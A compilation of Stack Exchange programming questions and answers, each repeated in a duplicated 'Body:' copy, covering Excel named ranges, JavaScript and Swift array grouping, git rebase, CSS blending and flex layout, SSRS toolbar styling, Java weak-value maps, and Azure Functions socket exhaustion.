问:
Is it possible to reference a cell in Microsoft Excel using the intersect of two named ranges?
In a spreadsheet I'm making for my Thermodynamics class, I created an appendix with important values for certain molecules, such as the molar mass of Ethane. I have named the rows to the molecule names and columns to the important variables.

I want to be able to simply type some version of =Ethane_molarmass or something like that to call the specific cell. Is this possible, and how?

答:
Assuming you have named the column molarmass and the row ethane, you can simply get the intersecting value using this formula:

```<code>=ethane molarmass
</code>```

Body:
Assuming you have named the column molarmass and the row ethane, you can simply get the intersecting value using this formula:

=ethane molarmass


来源: stackexchange

问:
Create an array of object properties for each item that has the same key
I'm merging two objects together to create a filter object. However I want to group the merged objects property values where the keys are the same.

So...

```<code>[{category: 'furniture'}, {category: 'mirrors'}, {availability: 'in_stock'}]
</code>```

becomes

```<code>[{category: ['furniture', 'mirrors']}, {availability: 'in_stock'}]
</code>```

any ideas?

答:
Another one reduce solution

const arr = [{category: 'furniture', category2: 'furniture2'}, {category: 'mirrors'}, {availability: 'in_stock'}]

const result = Object.values(arr
  .flatMap((obj) => Object.entries(obj))
  .reduce((acc, [key, value]) => {
    acc[key] = acc[key]
      ? {[key]: [...acc[key][key], value] }
      : {[key]: [value] }

  return acc;
  }, {}));

console.log(result)```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.as-console-wrapper{min-height: 100%!important; top: 0}</code>```

ContentLicense: CC BY-SA 4.0

Body:
I'm merging two objects together to create a filter object. However I want to group the merged objects property values where the keys are the same.

So...

[{category: 'furniture'}, {category: 'mirrors'}, {availability: 'in_stock'}]

becomes

[{category: ['furniture', 'mirrors']}, {availability: 'in_stock'}]

any ideas?

Body:
Another one reduce solution

const arr = [{category: 'furniture', category2: 'furniture2'}, {category: 'mirrors'}, {availability: 'in_stock'}]

const result = Object.values(arr
  .flatMap((obj) => Object.entries(obj))
  .reduce((acc, [key, value]) => {
    acc[key] = acc[key]
      ? {[key]: [...acc[key][key], value] }
      : {[key]: [value] }

  return acc;
  }, {}));

console.log(result)

.as-console-wrapper{min-height: 100%!important; top: 0}


问:
Git rebase returns but nothing happens
I am trying to rebase my feature branch onto develop (git rebase develop after checking out the branch)  but every time I try I just get the message:
 Current branch feature/my-feature-branch is up to date
but checking out develop reveals that nothing has changed from the git log.

Would appreciate any pointers, thanks.

答:
There seems to be a misunderstanding here.

If you rebase a feature branch on top of develop, nothing will happen to develop.

So checking out develop afterwards will correctly show you that nothing changed. This is expected. Rebasing does not change the branch you rebase on top of.

Instead it may change the branch you are rebasing, in this case your feature branch.

Let's give an example, starting with this:

```<code>                 develop
                    v
1---2---3---4---5---6
         \
          7---8---9
                  ^
               feature
</code>```

if you now check out the feature branch and rebase it on top of develop, you end up with this:

```<code>git checkout feature
git rebase develop

                 develop
                    v
1---2---3---4---5---6
                     \
                      7'--8'--9'
                              ^
                           feature
</code>```

but note that nothing happened to develop.

I marked the 7-8-9 commits with an apostrophe to show that these are actually new commits, they will be created from the original 7-8-9 commits but they will have new parents and thus new hashes.

The git message you got, Current branch feature/my-feature-branch is up to date means you were already in that last situation when you executed your rebase commands. Your feature branch was already on top of develop, so there was nothing to do.

In order to actually change develop, you would either do a merge, which would end up as this:

```<code>git checkout develop
git merge --no-ff feature

                             develop
                                v
1---2---3---4---5---6-----------M
                     \         /
                      7---8---9
                              ^
                           feature
</code>```

or a fast-forward merge which would end up as this:

```<code>git checkout develop
git merge --ff-only feature

                             develop
                                v
1---2---3---4---5---6---7---8---9
                                ^
                             feature
</code>```

Title: Git rebase returns but nothing happens

Body:
There seems to be a misunderstanding here.

If you rebase a feature branch on top of develop, nothing will happen to develop.

So checking out develop afterwards will correctly show you that nothing changed. This is expected. Rebasing does not change the branch you rebase on top of.

Instead it may change the branch you are rebasing, in this case your feature branch.

Let's give an example, starting with this:

                 develop
                    v
1---2---3---4---5---6
         \
          7---8---9
                  ^
               feature

if you now check out the feature branch and rebase it on top of develop, you end up with this:

git checkout feature
git rebase develop

                 develop
                    v
1---2---3---4---5---6
                     \
                      7'--8'--9'
                              ^
                           feature

but note that nothing happened to develop.

I marked the 7-8-9 commits with an apostrophe to show that these are actually new commits, they will be created from the original 7-8-9 commits but they will have new parents and thus new hashes.

The git message you got, Current branch feature/my-feature-branch is up to date means you were already in that last situation when you executed your rebase commands. Your feature branch was already on top of develop, so there was nothing to do.

In order to actually change develop, you would either do a merge, which would end up as this:

git checkout develop
git merge --no-ff feature

                             develop
                                v
1---2---3---4---5---6-----------M
                     \         /
                      7---8---9
                              ^
                           feature

or a fast-forward merge which would end up as this:

git checkout develop
git merge --ff-only feature

                             develop
                                v
1---2---3---4---5---6---7---8---9
                                ^
                             feature


问:
css mix-blend-mode: difference issue in safari
I am trying the below mouseover effect using mix-blend-mode.
It is working as expected in Chrome and Firefox.

.btn-anim {
  position: relative;
  display: inline-block;
  overflow: hidden;
  padding: 1.25rem;
  color: #fff;
  --x: 66%;
  --y: -34%;
}

.btn-anim:after,
.btn-anim:before {
  position: absolute;
  top: 0px;
  left: 0px;
  height: 100%;
  width: 100%;
  transition: transform cubic-bezier(0.88, 0.03, 0, 0.94) 0.3s;
}

.btn-anim:before {
  content: "";
  position: absolute;
  --tw-bg-opacity: 1;
  background-color: rgba(243, 109, 69, var(--tw-bg-opacity));
  z-index: -1;
  transform: translateX(var(--x));
}

.btn-anim:after {
  content: "";
  position: absolute;
  --tw-bg-opacity: 1;
  background-color: rgba(255, 255, 255, var(--tw-bg-opacity));
  mix-blend-mode: difference;
  transform: translateX(var(--y));
}

.btn-anim:hover:before {
  transform: translateX(0);
}

.btn-anim:hover:after {
  transform: translateX(-100%);
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code>Learn More About Services</code>```

Codepen - https://codepen.io/felixaj/pen/GROJyoR

Safari shows a black patch. What is the fix for the issue?

Or is there any other way I can make the same effect ?

Edit ---

This works only if background colour is white .

Is there a better way to achieve this effect when used on top of light gray background color ?

Codepen updated with a button in a div with gray background.

答:
Found some help from Jonathan at https://greensock.com/forums/topic/21802-issues-with-safari-perspective-mix-blend-mode/

A solution here

Is to add transform: translate3d(0,0,0); to .btn-anim.

It puts it on the same rendering layer and Safari can then apply the effect same as FF/Chrome.

Body:
I am trying the below mouseover effect using mix-blend-mode.
It is working as expected in Chrome and Firefox.

.btn-anim {
  position: relative;
  display: inline-block;
  overflow: hidden;
  padding: 1.25rem;
  color: #fff;
  --x: 66%;
  --y: -34%;
}

.btn-anim:after,
.btn-anim:before {
  position: absolute;
  top: 0px;
  left: 0px;
  height: 100%;
  width: 100%;
  transition: transform cubic-bezier(0.88, 0.03, 0, 0.94) 0.3s;
}

.btn-anim:before {
  content: "";
  position: absolute;
  --tw-bg-opacity: 1;
  background-color: rgba(243, 109, 69, var(--tw-bg-opacity));
  z-index: -1;
  transform: translateX(var(--x));
}

.btn-anim:after {
  content: "";
  position: absolute;
  --tw-bg-opacity: 1;
  background-color: rgba(255, 255, 255, var(--tw-bg-opacity));
  mix-blend-mode: difference;
  transform: translateX(var(--y));
}

.btn-anim:hover:before {
  transform: translateX(0);
}

.btn-anim:hover:after {
  transform: translateX(-100%);
}

Learn More About Services

Codepen - https://codepen.io/felixaj/pen/GROJyoR

Safari shows a black patch. What is the fix for the issue?

Or is there any other way I can make the same effect ?

Edit ---

This works only if background colour is white .

Is there a better way to achieve this effect when used on top of light gray background color ?

Codepen updated with a button in a div with gray background.


问:
How can i show ONLY export dropdown and print icon when using Reporting Services URL Access Parameters

http://myServer/reportserver?/MyReportsFolder/Report1&rs:Command=Render&rs:Format=HTML4.0&rc:Toolbar=true

Am using the above URL to display a SSRS report, but i have not liked showing the full report toolbar by setting rc:Toolbar=true. Are there any other parameters i can add to the URL such that when the report displays, only the Export Report Dropdown and the Print Report Icons are displayed on the toolbar. I want to the Zoom, Refresh and all other controls except Export Report Dropdown and the Print Report Icons.

This is easy to set if your using the reporViewer Control, but here am accessing the report directly from its direct URL.

答:
Create your own Stylesheet. In the Styles folder, copy the file Htmlviewer.css to MyStyleSheet.css, and change the lines

```<code>.ToolbarZoom
{
    display: inline;
}
</code>```

to

```<code>.ToolbarZoom
{
    display: none;
}
</code>```

Then reference your stylesheet in the URL: &rc:Stylesheet=MyStyleSheet

http://msdn.microsoft.com/en-us/library/ms345247.aspx

ContentLicense: CC BY-SA 3.0

Body:
Create your own Stylesheet. In the Styles folder, copy the file Htmlviewer.css to MyStyleSheet.css, and change the lines

.ToolbarZoom
{
    display: inline;
}

to

.ToolbarZoom
{
    display: none;
}

Then reference your stylesheet in the URL: &rc:Stylesheet=MyStyleSheet

http://msdn.microsoft.com/en-us/library/ms345247.aspx


问:
How to group by the elements of an array in Swift
Let's say that I have this code:

```<code>class Stat {
   var statEvents : [StatEvents] = []
}

struct StatEvents {
   var name: String
   var date: String
   var hours: Int
}

var currentStat = Stat()

currentStat.statEvents = [
   StatEvents(name: "lunch", date: "01-01-2015", hours: 1),
   StatEvents(name: "dinner", date: "01-01-2015", hours: 1),
   StatEvents(name: "dinner", date: "01-01-2015", hours: 1),
   StatEvents(name: "lunch", date: "01-01-2015", hours: 1),
   StatEvents(name: "dinner", date: "01-01-2015", hours: 1)
]

var filteredArray1 : [StatEvents] = []
var filteredArray2 : [StatEvents] = []
</code>```

I could call as many times manually the next function in order to have 2 arrays grouped by "same name".

```<code>filteredArray1 = currentStat.statEvents.filter({$0.name == "dinner"})
filteredArray2 = currentStat.statEvents.filter({$0.name == "lunch"})
</code>```

The problem is that I won't know the variable value, in this case "dinner" and "lunch", so I would like to group this array of statEvents automatically by name, so I get as many arrays as the name gets different.

How could I do that?

答:
You can use reduce

```<code>let result = currentStat.statEvents.reduce([String:[StatEvents]](), {
    var previous = $0
    previous[$1.name] = (previous[$1.name] ?? []) + [$1]
    return previous
})

let filteredArray1 = result["lunch"]
let filteredArray2 = result["dinner"]
</code>```

or alternatively you could change it to

```<code>let result = currentStat.statEvents.reduce(["lunch":[StatEvents](), "dinner":[StatEvents]()], {
    var previous = $0
    if let array = previous[$1.name] {
        previous[$1.name] = array + [$1]
    }
    return previous
})

let filteredArray1 = result["lunch"]
let filteredArray2 = result["dinner"]
</code>```

to limit to only finding lunch and diner

Body:
Let's say that I have this code:

class Stat {
   var statEvents : [StatEvents] = []
}

struct StatEvents {
   var name: String
   var date: String
   var hours: Int
}

var currentStat = Stat()

currentStat.statEvents = [
   StatEvents(name: "lunch", date: "01-01-2015", hours: 1),
   StatEvents(name: "dinner", date: "01-01-2015", hours: 1),
   StatEvents(name: "dinner", date: "01-01-2015", hours: 1),
   StatEvents(name: "lunch", date: "01-01-2015", hours: 1),
   StatEvents(name: "dinner", date: "01-01-2015", hours: 1)
]

var filteredArray1 : [StatEvents] = []
var filteredArray2 : [StatEvents] = []

I could call as many times manually the next function in order to have 2 arrays grouped by "same name".

filteredArray1 = currentStat.statEvents.filter({$0.name == "dinner"})
filteredArray2 = currentStat.statEvents.filter({$0.name == "lunch"})

The problem is that I won't know the variable value, in this case "dinner" and "lunch", so I would like to group this array of statEvents automatically by name, so I get as many arrays as the name gets different.

How could I do that?

Body:
You can use reduce

let result = currentStat.statEvents.reduce([String:[StatEvents]](), {
    var previous = $0
    previous[$1.name] = (previous[$1.name] ?? []) + [$1]
    return previous
})

let filteredArray1 = result["lunch"]
let filteredArray2 = result["dinner"]

or alternatively you could change it to

let result = currentStat.statEvents.reduce(["lunch":[StatEvents](), "dinner":[StatEvents]()], {
    var previous = $0
    if let array = previous[$1.name] {
        previous[$1.name] = array + [$1]
    }
    return previous
})

let filteredArray1 = result["lunch"]
let filteredArray2 = result["dinner"]

to limit to only finding lunch and diner


问:
WeakHashMap swap values and keys + better race protection
Hey i want to have a WeakHashMap where the WeekReference is in the values or im looking for some alternative to this approach:

My current code to have a swapped WeakHashMap is the following:

@Singleton
public class UUIDToResultSetMapper
{

    private final WeakHashMap<ResultSet, String> map = new WeakHashMap<>();
    private final Object lockObject = new Object();

    public void put(String key, ResultSet value)
    {
        System.out.println("current map size at put:" + this.map.size());
        synchronized (this.lockObject)
        {
            if (this.map.entrySet()
                .stream()
                .filter(element -> element.getValue().equals(value))
                .findFirst()
                .isPresent())
            {
                throw new RuntimeException("UUID is still in the map");
            }

            System.out.println("putted into map: " + key);
            this.map.put(value, key);

        }
    }

    public ResultSet get(String key)
    {
        synchronized (this.lockObject){}// memory barrier

        System.out.println("current map size at get:" + this.map.size());

        System.out.println("Currently in the map");
        this.map.values().stream().forEach((element) ->
        {System.out.println(element);});

        System.out.println("search for: " + key);

        final var resultSet = this.map.entrySet()
            .stream()
            .filter(element -> element.getValue().equals(key))
            .findFirst()
            .map(element -> element.getKey())
            .orElse(null);

        return resultSet;

    }
}
```

The idea here is that a second request can abbort the resultSet, from where i stream some data, but i need the end of the stream, so i can kill the data in the middle of the stream.

So each request get a transaction-id (uuid) and then the client can send if he think he have enough send a abbort signal. So i want let live the resultSet in the Weakmap as long the resultSet is active and not garbage collected.

Yes i now, i can put the data into a normal map from my StreamingProcessor classes, but then i have to be 100% sure that all of my ressources are within a try-with or something like that.

So I choose this solution with the WeakReference. But how i can use WeakReferences for this not to bend the WeakHasMap as i did?

And then some offtopic question: Is there a better solution to make this secure against race conditions in the put-method.

And is there a nicer solution to get my happens-before-relationsship in the get-method to make possible changes visible? (races are in this method allowed, so it the resultSet exists its ok, if not its ok too^^)

答:
A statement like synchronized (this.lockObject){} does not form a “memory barrier” (the Java Language Specification doesn’t even know that term), but rather wishful thinking.

Since you want to have weak values and WeakHashMap doesn’t provide this feature, you can simply stop trying to bend it and use a ConcurrentHashMap in the first place, to get real thread safety. Adding handling of weak values to ConcurrentHashMap is simpler (and more efficient) than trying to reverse key value logic.

private final ConcurrentHashMap<String, WeakReference<ResultSet>> map
                                                           = new ConcurrentHashMap<>();

public void put(String key, ResultSet value) {
    map.compute(key, (k, oldRef) -> {
        if (oldRef != null && !oldRef.refersTo(null)) {
            throw new RuntimeException("UUID is still in the map");
        }
        return new WeakReference<>(value);
    });
}

public ResultSet get(String key) {
    var ref = map.computeIfPresent(key, (k, r) -> r.refersTo(null)? null: r);
    return ref == null? null: ref.get();
}

public void cleanup() {
    map.values().removeIf(ref -> ref.refersTo(null));
}
```

Prior to JDK 16, you would have to replace refersTo(null) with get() == null which is problematic because it may temporarily make the referent strongly reachable. The refersTo has been added precisely to avoid this problem.

The cleanup() method removes all entries of collected values. You could invoke this method within every get and put call, similar to how WeakHashMap does internally. But since ConcurrentHashMap is thread safe, you could also run this cleanup periodically in a background thread.

But this was merely for educational purpose, to address your question literally. It’s strongly discouraged to use this logic in real applications.

The problem is that the correctness of applications using this code will depend on the garbage collection. Putting a new value for a formerly used key will be accepted if and only if the garbage collector has identified the old ResultSet as unreachable and cleared the reference. But there is no guaranty that the garbage collector ran between the last use of the object and the attempt to put a new value into this map. Neither is there a guaranty that the garbage collector identified this particular object as unreachable even if it ran.

Even if the unreachability of a ResultSet caused an immediate clearing of a WeakReference, we still would have the problem that calling close(), which typically marks the end of use, is not the same as the object becoming unreachable.

So, to ensure that put attempts do not fail spuriously, there is no way around explicit removal of old entries before the subsequent put. Then, forgetting the explicit removal would be a serious programming error and hiding this error by occasionally fixing it if the garbage collector happened to collect the value, would make the problem worse, as it reduces the reproducibility. This makes one of those problems which likes to occur at the customer from time to time, but never on the developer’s machine.

But when forgetting the explicit removal is considered an error of the same category as trying to put a new value when there’s an old value still in use, you don’t need weak references at all. A simple ConcurrentHashMap<String, ResultSet> will do.

Body:
Hey i want to have a WeakHashMap where the WeekReference is in the values or im looking for some alternative to this approach:

My current code to have a swapped WeakHashMap is the following:

@Singleton
public class UUIDToResultSetMapper
{

    private final WeakHashMap<ResultSet, String> map = new WeakHashMap<>();
    private final Object lockObject = new Object();

    public void put(String key, ResultSet value)
    {
        System.out.println("current map size at put:" + this.map.size());
        synchronized (this.lockObject)
        {
            if (this.map.entrySet()
                .stream()
                .filter(element -> element.getValue().equals(value))
                .findFirst()
                .isPresent())
            {
                throw new RuntimeException("UUID is still in the map");
            }

            System.out.println("putted into map: " + key);
            this.map.put(value, key);

        }
    }

    public ResultSet get(String key)
    {
        synchronized (this.lockObject){}// memory barrier

        System.out.println("current map size at get:" + this.map.size());

        System.out.println("Currently in the map");
        this.map.values().stream().forEach((element) ->
        {System.out.println(element);});

        System.out.println("search for: " + key);

        final var resultSet = this.map.entrySet()
            .stream()
            .filter(element -> element.getValue().equals(key))
            .findFirst()
            .map(element -> element.getKey())
            .orElse(null);

        return resultSet;

    }
}

The idea here is that a second request can abbort the resultSet, from where i stream some data, but i need the end of the stream, so i can kill the data in the middle of the stream.

So each request get a transaction-id (uuid) and then the client can send if he think he have enough send a abbort signal. So i want let live the resultSet in the Weakmap as long the resultSet is active and not garbage collected.

Yes i now, i can put the data into a normal map from my StreamingProcessor classes, but then i have to be 100% sure that all of my ressources are within a try-with or something like that.

So I choose this solution with the WeakReference. But how i can use WeakReferences for this not to bend the WeakHasMap as i did?

And then some offtopic question: Is there a better solution to make this secure against race conditions in the put-method.

And is there a nicer solution to get my happens-before-relationsship in the get-method to make possible changes visible? (races are in this method allowed, so it the resultSet exists its ok, if not its ok too^^)

Body:
A statement like synchronized (this.lockObject){} does not form a “memory barrier” (the Java Language Specification doesn’t even know that term), but rather wishful thinking.

Since you want to have weak values and WeakHashMap doesn’t provide this feature, you can simply stop trying to bend it and use a ConcurrentHashMap in the first place, to get real thread safety. Adding handling of weak values to ConcurrentHashMap is simpler (and more efficient) than trying to reverse key value logic.

private final ConcurrentHashMap<String, WeakReference<ResultSet>> map
                                                           = new ConcurrentHashMap<>();

public void put(String key, ResultSet value) {
    map.compute(key, (k, oldRef) -> {
        if (oldRef != null && !oldRef.refersTo(null)) {
            throw new RuntimeException("UUID is still in the map");
        }
        return new WeakReference<>(value);
    });
}

public ResultSet get(String key) {
    var ref = map.computeIfPresent(key, (k, r) -> r.refersTo(null)? null: r);
    return ref == null? null: ref.get();
}

public void cleanup() {
    map.values().removeIf(ref -> ref.refersTo(null));
}

Prior to JDK 16, you would have to replace refersTo(null) with get() == null which is problematic because it may temporarily make the referent strongly reachable. The refersTo has been added precisely to avoid this problem.

The cleanup() method removes all entries of collected values. You could invoke this method within every get and put call, similar to how WeakHashMap does internally. But since ConcurrentHashMap is thread safe, you could also run this cleanup periodically in a background thread.

But this was merely for educational purpose, to address your question literally. It’s strongly discouraged to use this logic in real applications.

The problem is that the correctness of applications using this code will depend on the garbage collection. Putting a new value for a formerly used key will be accepted if and only if the garbage collector has identified the old ResultSet as unreachable and cleared the reference. But there is no guaranty that the garbage collector ran between the last use of the object and the attempt to put a new value into this map. Neither is there a guaranty that the garbage collector identified this particular object as unreachable even if it ran.

Even if the unreachability of a ResultSet caused an immediate clearing of a WeakReference, we still would have the problem that calling close(), which typically marks the end of use, is not the same as the object becoming unreachable.

So, to ensure that put attempts do not fail spuriously, there is no way around explicit removal of old entries before the subsequent put. Then, forgetting the explicit removal would be a serious programming error and hiding this error by occasionally fixing it if the garbage collector happened to collect the value, would make the problem worse, as it reduces the reproducibility. This makes one of those problems which likes to occur at the customer from time to time, but never on the developer’s machine.

But when forgetting the explicit removal is considered an error of the same category as trying to put a new value when there’s an old value still in use, you don’t need weak references at all. A simple ConcurrentHashMap<String, ResultSet> will do.


问:
Place div to the right side of the text
I have a div with a fixed width.
It has two children:

First one containing text,

The second one is something like a "badge" (just a div with fixed width and height).

So I want to achieve something like this:-

I want the second child to be located right next to the text of the first child

I've tried to solve this issue by adding display: flex to the parent, but the problem is that the first child takes width more than its contents (example in the snippet below)

I've tried to add flex-basis: 0 to the first child, but then each word starts with a new line, even if there is enough place to display the whole text in one line.

Maybe there is another solution?
I've tried to solve the issue using absolute positioned child but failed also.

.parent {
  width: 150px;
  background: lightblue;
  display: flex;
  align-items: center;
}

.first-child {
  outline: 1px solid red;
}

.first-child span {
  outline: 1px solid white;
}

.second-child {
  outline: 1px solid blue;
  width: 20px;
  height: 10px;
  flex-shrink: 0;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="parent">
  <div class="first-child">
    <span>Loooooooong teeeeeext</span>
  </div>
  <div class="second-child">
  </div>
</div>
<br /><br />
<div class="parent">
  <div class="first-child">
    <span>Short text</span>
  </div>
  <div class="second-child">
  </div>
</div></code>```

答:
I hope this is what you are looking for to make the 2nd div to take the right end you can use justify-content: space-between;

Update: I misread the question, I've made changes in code and it works as expected using CSS.

.parent {
  width: 150px;
  background: lightblue;
  display: flex;
  align-items: center;
  justify-content: flex-start;
}

.first-child {
  outline: 1px solid red;
  flex: .5;
}

.first-child span {
  outline: 1px solid white;
}

.second-child {
  outline: 1px solid blue;
  width: 20px;
  height: 10px;
  flex-shrink: 0;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="parent">
  <div class="first-child">
    <span>Loooooooong teeeeeext</span>
  </div>
  <div class="second-child">
  </div>
</div>
<br /><br />
<div class="parent">
  <div class="first-child">
    <span>Short text</span>
  </div>
  <div class="second-child">
  </div>
</div></code>```

Title: Place div to the right side of the text

Body:
I have a div with a fixed width.
It has two children:

First one containing text,

The second one is something like a "badge" (just a div with fixed width and height).

So I want to achieve something like this:-

I want the second child to be located right next to the text of the first child

I've tried to solve this issue by adding display: flex to the parent, but the problem is that the first child takes width more than its contents (example in the snippet below)

I've tried to add flex-basis: 0 to the first child, but then each word starts with a new line, even if there is enough place to display the whole text in one line.

Maybe there is another solution?
I've tried to solve the issue using absolute positioned child but failed also.

.parent {
  width: 150px;
  background: lightblue;
  display: flex;
  align-items: center;
}

.first-child {
  outline: 1px solid red;
}

.first-child span {
  outline: 1px solid white;
}

.second-child {
  outline: 1px solid blue;
  width: 20px;
  height: 10px;
  flex-shrink: 0;
}

    Loooooooong teeeeeext

    Short text

Body:
I hope this is what you are looking for to make the 2nd div to take the right end you can use justify-content: space-between;

Update: I misread the question, I've made changes in code and it works as expected using CSS.

.parent {
  width: 150px;
  background: lightblue;
  display: flex;
  align-items: center;
  justify-content: flex-start;
}

.first-child {
  outline: 1px solid red;
  flex: .5;
}

.first-child span {
  outline: 1px solid white;
}

.second-child {
  outline: 1px solid blue;
  width: 20px;
  height: 10px;
  flex-shrink: 0;
}

<div class="parent">
  <div class="first-child">
    <span>Loooooooong teeeeeext</span>
  </div>
  <div class="second-child">
  </div>
</div>
<br /><br />
<div class="parent">
  <div class="first-child">
    <span>Short text</span>
  </div>
  <div class="second-child">
  </div>
</div>


问:
Outbound TCP Connection issue cause be sending data to event hub and data lake from azure function
I'm working on a Azure function with http POST trigger, once client call it and post a json data, I will send it to event hub and save to data lake.
once it got hitted by the high traffic, 20k/hour, azure functino will generate high outbound TCP connection, which will exceed the limitation (1920) of the plan.

does high outbound TCP connection cause by writing to event hub, data lake, or both?

is there a way to reduce it so I don't have to pay more to upgrade our plan?

how to debug it to trouble shooting the problem?

here is the code of send data to event hub:

```<code>EventHubClient ehc = EventHubClient.CreateFromConnectionString(cn);

try
{
  log.LogInformation($"{CogniPointListener.LogPrefix}Sending {batch.Count} Events: {DateTime.UtcNow}");

  await ehc.SendAsync(batch);

  await ehc.CloseAsync();
}
catch (Exception exception)
{
  log.LogError($"{CogniPointListener.LogPrefix}SendingMessages: {DateTime.UtcNow} > Exception: {exception.Message}");
  throw;
}
</code>```

here is the send data to data lake:

```<code>var creds = new ClientCredential(clientId, clientSecret);
var clientCreds = ApplicationTokenProvider.LoginSilentAsync(tenantId, creds).GetAwaiter().GetResult();

// Create ADLS client object
AdlsClient client = AdlsClient.CreateClient(adlsAccountFQDN, clientCreds);

try
{
    using (var stream = client.CreateFile(fileName, IfExists.Overwrite))
    {
        byte[] textByteArray = Encoding.UTF8.GetBytes(str);
        stream.Write(textByteArray, 0, textByteArray.Length);
    }

    // Debug
    log.LogInformation($"{CogniPointListener.LogPrefix}SaveDataLake saved ");
}
catch (System.Exception caught)
{
    string err = $"{caught.Message}Environment.NewLine{caught.StackTrace}Environment.NewLine";
log.LogError(err, $"{CogniPointListener.LogPrefix}SaveDataLake");
    throw;
}
</code>```

Thanks,

答:
I just raised an issue with Azure SDK https://github.com/Azure/azure-sdk-for-net/issues/26884 reporting the problem of socket exhaustion when using ApplicationTokenProvider.LoginSilentAsync.

The current version 2.4.1 of Microsoft.Rest.ClientRuntime.Azure.Authentication uses the old version 4.3.0 of Microsoft.IdentityModel.Clients.ActiveDirectory that creates a new HttpClientHandler on every call.

Creating HttpClientHandler on every is bad. After HttpClientHandler is disposed, the underlaying socket connections are still active for significant time (in my experience 30+ seconds).

There's a thing called HttpClientFactory that ensures HttpClientHandler is not created frequently. Here's a guide from Microsoft explaining how to use HttpClient and HttpClientHandler properly - Use IHttpClientFactory to implement resilient HTTP requests.
I wish they reviewed their SDKs to ensure they follow their own guidelines.

Possible workaround

Microsoft.IdentityModel.Clients.ActiveDirectory since version 5.0.1-preview supports passing a custom HttpClientFactory.

IHttpClientFactory myHttpClientFactory = new MyHttpClientFactory();

AuthenticationContext authenticationContext = new AuthenticationContext(
     authority: "https://login.microsoftonline.com/common",
     validateAuthority: true,
     tokenCache: <some token cache>,
     httpClientFactory: myHttpClientFactory);
```
<p>So it should be possible to replicate what <code>ApplicationTokenProvider.LoginSilentAsync</code> does in your codebase to create <code>AuthenticationContext</code> passing your own instance of <code>HttpClientFactory</code>.</p>
<p>The things you might need to do:</p>
<ul>
<li>Ensure <code>Microsoft.IdentityModel.Clients.ActiveDirectory</code> with version of after 5.0.1-preview is added to the project</li>
<li>Since the code is used in Azure functions, <code>HttpClientFactory</code> needs to be set up and injected. More info can be found in another StackOverflow answer</li>
<li>Replace calls <code>ApplicationTokenProvider.LoginSilentAsync(tenantId, creds)</code> with something like that (this code is an inlined version of <code>LoginSilentAsync</code> that passes <code>httpClientFactory</code> to <code>AuthenticationContext</code></li>
</ul>
<pre class="lang-cs prettyprint-override"><code>var settings = ActiveDirectoryServiceSettings.Azure;
var audience = settings.TokenAudience.OriginalString;
var context = new AuthenticationContext(settings.AuthenticationEndpoint + domain,
    settings.ValidateAuthority,
    TokenCache.DefaultShared,
    httpClientFactory);

var authenticationProvider = new MemoryApplicationAuthenticationProvider(clientCredential);

var authResult = await authenticationProvider.AuthenticateAsync(clientCredential.ClientId, audience, context).ConfigureAwait(false);
var credentials = new TokenCredentials(
    new ApplicationTokenProvider(context, audience, clientCredential.ClientId, authenticationProvider, authResult),
    authResult.TenantId,
    authResult.UserInfo == null ? null : authResult.UserInfo.DisplayableId);

</code>```

I really don't replicating the logic in the workaround, but I don't think there's any other option until it's fixed properly in Microsoft.Rest.ClientRuntime.Azure.Authentication

Good luck!

Body:
I'm working on a Azure function with http POST trigger, once client call it and post a json data, I will send it to event hub and save to data lake.
once it got hitted by the high traffic, 20k/hour, azure functino will generate high outbound TCP connection, which will exceed the limitation (1920) of the plan.

does high outbound TCP connection cause by writing to event hub, data lake, or both?

is there a way to reduce it so I don't have to pay more to upgrade our plan?

how to debug it to trouble shooting the problem?

here is the code of send data to event hub:

EventHubClient ehc = EventHubClient.CreateFromConnectionString(cn);

try
{
  log.LogInformation($"{CogniPointListener.LogPrefix}Sending {batch.Count} Events: {DateTime.UtcNow}");

  await ehc.SendAsync(batch);

  await ehc.CloseAsync();
}
catch (Exception exception)
{
  log.LogError($"{CogniPointListener.LogPrefix}SendingMessages: {DateTime.UtcNow} > Exception: {exception.Message}");
  throw;
}

here is the send data to data lake:

var creds = new ClientCredential(clientId, clientSecret);
var clientCreds = ApplicationTokenProvider.LoginSilentAsync(tenantId, creds).GetAwaiter().GetResult();

// Create ADLS client object
AdlsClient client = AdlsClient.CreateClient(adlsAccountFQDN, clientCreds);

try
{
    using (var stream = client.CreateFile(fileName, IfExists.Overwrite))
    {
        byte[] textByteArray = Encoding.UTF8.GetBytes(str);
        stream.Write(textByteArray, 0, textByteArray.Length);
    }

    // Debug
    log.LogInformation($"{CogniPointListener.LogPrefix}SaveDataLake saved ");
}
catch (System.Exception caught)
{
    string err = $"{caught.Message}Environment.NewLine{caught.StackTrace}Environment.NewLine";
log.LogError(err, $"{CogniPointListener.LogPrefix}SaveDataLake");
    throw;
}

Thanks,

Body:
I just raised an issue with Azure SDK https://github.com/Azure/azure-sdk-for-net/issues/26884 reporting the problem of socket exhaustion when using ApplicationTokenProvider.LoginSilentAsync.

The current version 2.4.1 of Microsoft.Rest.ClientRuntime.Azure.Authentication uses the old version 4.3.0 of Microsoft.IdentityModel.Clients.ActiveDirectory that creates a new HttpClientHandler on every call.

Creating HttpClientHandler on every is bad. After HttpClientHandler is disposed, the underlaying socket connections are still active for significant time (in my experience 30+ seconds).

There's a thing called HttpClientFactory that ensures HttpClientHandler is not created frequently. Here's a guide from Microsoft explaining how to use HttpClient and HttpClientHandler properly - Use IHttpClientFactory to implement resilient HTTP requests.
I wish they reviewed their SDKs to ensure they follow their own guidelines.

Possible workaround

Microsoft.IdentityModel.Clients.ActiveDirectory since version 5.0.1-preview supports passing a custom HttpClientFactory.

IHttpClientFactory myHttpClientFactory = new MyHttpClientFactory();

AuthenticationContext authenticationContext = new AuthenticationContext(
     authority: "https://login.microsoftonline.com/common",
     validateAuthority: true,
     tokenCache: <some token cache>,
     httpClientFactory: myHttpClientFactory);

So it should be possible to replicate what ApplicationTokenProvider.LoginSilentAsync does in your codebase to create AuthenticationContext passing your own instance of HttpClientFactory.

The things you might need to do:

Ensure Microsoft.IdentityModel.Clients.ActiveDirectory with version of after 5.0.1-preview is added to the project

Since the code is used in Azure functions, HttpClientFactory needs to be set up and injected. More info can be found in another StackOverflow answer

Replace calls ApplicationTokenProvider.LoginSilentAsync(tenantId, creds) with something like that (this code is an inlined version of LoginSilentAsync that passes httpClientFactory to AuthenticationContext

var settings = ActiveDirectoryServiceSettings.Azure;
